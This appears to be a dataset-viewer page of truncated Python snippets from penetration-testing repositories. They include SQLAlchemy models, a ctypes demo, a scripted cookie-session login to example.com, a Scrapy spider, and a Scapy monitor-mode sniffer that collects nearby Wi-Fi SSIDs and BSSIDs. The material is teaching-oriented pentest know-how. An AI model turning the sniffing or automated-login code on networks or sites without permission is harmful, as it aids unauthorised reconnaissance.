from os import path as os_path
from sys import path as sys_path
import unittest
def include():
"""Include owtf/ in python sys path."""
framework_path = os_path.abspath(".")
sys_path.append(framework_path)
if __name__ == ... | 16.888889 | 51 | 0.649378 |
owtf | """
owtf.models.transaction
~~~~~~~~~~~~~~~~~~~~~~~
"""
import base64
from sqlalchemy import Boolean, Column, Integer, String, Float, DateTime, Text, ForeignKey, Table, Index
from sqlalchemy.orm import relationship
from owtf.db.model_base import Model
# This table actually allows us to make a many to many relations... | 34.910448 | 104 | 0.663617 |
cybersecurity-penetration-testing | from ctypes import *
class case(Union):
_fields_ = [
("evidence_long", c_long),
("evidence_int", c_int),
("evidence_char", c_char * 4),
]
value = raw_input("Enter new evidence number:")
new_evidence = case(int(value))
print "Evidence number as a long: %ld" % new_evidence.evidence_long
print "Evidence number as a... | 27.4 | 67 | 0.689412 |
Effective-Python-Penetration-Testing | fields = {
'name' : 'sean',
'password' : 'password!',
'login' : 'LogIn'
}
opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor()
)
request = urllib2.Request(
"http://example.com/login",
urllib.urlencode(fields))
url = opener.open(request)
response = url.read()
url = opener.open("http://example.com/dashboard"... | 18.166667 | 49 | 0.688953 |
cybersecurity-penetration-testing | # -*- coding: utf-8 -*-
from scrapy.spiders import Spider
from scrapy.selector import Selector
from pprint import pprint
from testSpider.items import TestspiderItem
class PactpubSpider(Spider):
name = "pactpub"
allowed_domains = ["pactpub.com"]
start_urls = (
'https://www.pactpub.com/all',
)
... | 24.625 | 89 | 0.636808 |
thieves-tools | from re import M
from bs4.element import Tag
import click
import requests
import webview
from bs4 import BeautifulSoup
import json
import os
def remove_html_tags(soup: BeautifulSoup, list: list):
for tag in list:
t: Tag
for t in soup.find_all(tag):
t.decompose()
def open_window(html: s... | 33.671233 | 110 | 0.602372 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenetrationTestingScripts | """RFC 3986 URI parsing and relative reference resolution / absolutization.
(aka splitting and joining)
Copyright 2006 John J. Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it under
the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt
included with the distributi... | 30.162602 | 79 | 0.543379 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
interface = 'mon0'
ap_list = []
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==8)):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2
sniff(iface=interface,prn=info)
| 21.307692 | 53 | 0.602076 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.